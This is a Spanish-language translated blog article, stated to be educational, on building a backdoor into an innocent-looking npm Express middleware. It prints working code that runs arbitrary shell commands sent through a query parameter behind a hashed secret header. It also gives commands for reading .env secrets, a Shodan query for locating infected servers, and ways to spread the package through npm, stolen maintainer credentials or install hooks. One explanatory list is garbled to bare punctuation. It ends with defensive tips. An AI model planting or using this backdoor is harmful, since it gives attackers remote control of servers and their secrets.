Conoce a tu enemigo: crea una puerta trasera Node.js

Una puerta trasera en su propio código, que puede interactuar sin problemas con el sistema operativo, es una de las peores pesadillas de cualquier desarrollador. Actualmente, npm tiene más de 1.2 millones de paquetes públicos. En los últimos tres años, las adicciones al proyecto se han convertido en un objetivo ideal para los cibercriminales. El ecosistema npm puede ser sorprendentemente frágil si la comunidad de desarrollo no presta mucha atención a la seguridad. Como evidencia de esta idea, es suficiente recordar el error tipográfico y el incidente con el paquete npm event-stream. El autor del artículo, cuya traducción publicamos hoy, quiere, con fines educativos, hablar sobre cómo crear puertas traseras para la plataforma Node.js.





¿Qué es una puerta trasera?


Aquí está la definición del término "puerta trasera" dada en el recurso Malwarebytes : "En el campo de la ciberseguridad, una puerta trasera es cualquier método por el cual los usuarios autorizados y no autorizados pueden eludir las medidas de seguridad comunes y obtener acceso de raíz de alto nivel a un sistema informático, aplicación de red Después de obtener dicho acceso al sistema, los ciberdelincuentes pueden usar una puerta trasera para robar datos personales y financieros, instalar malware adicional y piratear dispositivos ".

La puerta trasera consta de dos partes principales:

  1. Código malicioso incrustado y ejecutado en un sistema atacado
  2. Un canal de comunicación abierto que permite a un atacante enviar comandos a una puerta trasera y controlar una computadora remota.

La puerta trasera instalada en la computadora recibe comandos en respuesta a los cuales realiza ciertas acciones. Estos pueden ser comandos destinados a extraer información valiosa del sistema, como variables ambientales, o diseñados para realizar un ataque a la base de datos. Además, la ejecución de dichos comandos puede provocar un cambio en otros procesos que afectan a una sola computadora o a toda la red. La escala del ataque depende de los permisos que tenga la aplicación infectada. En nuestro caso, estamos hablando de una aplicación escrita para la plataforma Node.js.

Para crear una versión simplificada del programa que implemente el ataque anterior, utilizaremos el módulo estándar child_process para ejecutar el código. Para establecer comunicación con la puerta trasera, usamos un servidor HTTP. Le aconsejaría que use el marco Express en este caso, que es conocido por sus enormes capacidades, pero lo que se discutirá se puede implementar utilizando cualquier otra herramienta adecuada.

¿Por qué necesitamos child_process?


El módulo estándar Node.js child_processse puede usar para iniciar procesos secundarios. La idea principal aquí es que nos da la oportunidad de ejecutar comandos (entrando en el proceso a través de una secuencia de entrada estándar - stdin) como pwdo ping snyk.io, y luego integrar el resultado de estos comandos (la salida proviene de la secuencia de salida - stdout) y posibles mensajes de error (de stream stderr) al programa principal.


La ejecución del proceso y su relación con los flujos de entrada, salida y error estándar, que desempeñan el papel de los flujos de entrada y salida para un proceso del sistema en ejecución.

Hay varias formas de ejecutar procesos secundarios. Para este ataque, es más fácil usar una funciónexecque le permita devolver la llamada y poner en los búferes apropiados lo que ingresa en los flujosstdoutystderr. Por ejemplo, lo que se emitirá como resultado del comandocat passwords.txt. Tenga en cuenta que una funciónexecno es la mejor manera de realizar tareas largas comoping snyk.io.

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

¿Cómo combinar la función exec con el servidor HTTP?


Desarrollé un paquete de middleware de redirección de navegador simple y de aspecto inocente para aplicaciones Express. Redirige a los usuarios que no son de Chrome a browsehappy.com . Incluiré código malicioso en este paquete.

El código del paquete será algo como esto:

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Es suficiente que la víctima instale el paquete y lo use en la aplicación Express de la misma manera que usa cualquier paquete en la capa intermedia:

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

Tenga en cuenta que, en este caso, incluso si se usa Helmet, esto no protege a la aplicación del ataque.

Código malicioso


La implementación del código malicioso es bastante simple:

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

¿Cómo funciona nuestra puerta trasera? Para responder esta pregunta, considere lo siguiente:

  1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
  2. , . , . Content-Sec-Policy, Content-security-policy. — . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
  3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.


Ahora que el código de puerta trasera está listo, debe pensar en cómo distribuir el paquete malicioso.

El primer paso es publicar el paquete. browser-redirect@1.0.2Publiqué el paquete en npm. Pero si nos fijamos en el repositorio de GitHub del proyecto, entonces el código malicioso no estará allí. Compruébelo usted mismo: eche un vistazo a la rama del proyecto maestro y la versión 1.0.2 . Esto es posible debido a que npm no verifica el código de los paquetes publicados con el código publicado en algunos sistemas diseñados para funcionar con el código fuente.

Aunque el paquete se publica en npm, sus posibilidades de distribución aún son muy bajas, ya que las víctimas potenciales aún necesitan encontrarlo e instalarlo.

Otra forma de distribuir un paquete es agregar un módulo malicioso como dependencia para otros paquetes. Si un atacante tiene acceso a una cuenta con los derechos de publicación de algún paquete importante, puede publicar una nueva versión de dicho paquete. Las dependencias de la nueva versión del paquete también incluirán una puerta trasera. Como resultado, estamos hablando de la inclusión directa de un paquete malicioso en las dependencias de un proyecto popular (eche un vistazo al análisis del incidente que ocurrió con el flujo de eventos). Alternativamente, un atacante puede intentar hacer relaciones públicas en un proyecto haciendo los cambios apropiados en el archivo de bloqueo. Lee sobre esto aquí .

Otro factor importante que debe tenerse en cuenta es el hecho de que el atacante tiene acceso a las credenciales (nombre de usuario y contraseña) de alguien que apoya un determinado proyecto popular. Si un atacante tiene esos datos, puede lanzar fácilmente una nueva versión del paquete, tal como sucedió con eslint .

Pero incluso si alguien que apoya el proyecto utiliza la autenticación de dos factores para publicarlo, todavía lo arriesga. Y cuando se utiliza un sistema de integración continua para implementar nuevas versiones del proyecto, la autenticación de dos factores debe estar desactivada. Como resultado, si un atacante puede robar un token npm que funcione para un sistema de integración continua (por ejemplo, de registros que se hicieron públicos accidentalmente, de fugas de datos y de otras fuentes similares), podrá implementar nuevas versiones que contengan código malicioso .

Tenga en cuenta que se ha lanzado la nueva API.(todavía en estado beta privado), que le permite averiguar si el paquete se publicó con la dirección IP de la red TOR y si se usó autenticación de dos factores al publicar.

Además, los atacantes pueden configurar el código malicioso para que se ejecute como un script que se ejecuta antes de la instalación o después de instalar cualquier paquete npm. Hay ganchos de ciclo de vida estándar para paquetes npm que le permiten ejecutar código en la computadora de un usuario en un momento específico. Por ejemplo, un sistema para organizar proyectos de prueba en un navegador, Puppeteer , utiliza estos ganchos para instalar Chromium en un sistema host.

Ryan Dahl ya dijosobre estas vulnerabilidades en JSConf EU 2018. La plataforma Node.js necesita un mayor nivel de protección para evitar este y otros vectores de ataque.

Aquí hay algunas conclusiones del estudio de seguridad de software de código abierto:

  • El 78% de las vulnerabilidades se encuentran en dependencias indirectas, lo que complica el proceso de deshacerse de tales vulnerabilidades.
  • Durante 2 años, ha habido un aumento en las vulnerabilidades en las bibliotecas en un 88%.
  • El 81% de los encuestados cree que los propios desarrolladores deberían ser responsables de la seguridad. Ellos, además, creen que los desarrolladores no están bien preparados para esto.

Resultados: ¿cómo protegerse de las puertas traseras?


Controlar las dependencias no siempre es fácil, pero algunos consejos pueden ayudarlo con esto:

  • Utilice bibliotecas bien conocidas y compatibles.
  • Participe en la vida comunitaria y ayude a quienes apoyan las bibliotecas. La ayuda puede incluir escribir código o proporcionar apoyo financiero para proyectos.
  • Use NQP para analizar las nuevas dependencias de su proyecto.
  • Use Snyk para mantenerse al tanto de las vulnerabilidades y monitorear sus proyectos.
  • Analice el código de las dependencias que está utilizando, almacenadas en npm. No se limite a ver el código de GitHub u otros sistemas similares.

¡Queridos lectores! ¿Cómo protege sus proyectos utilizando el código de otra persona?


All Articles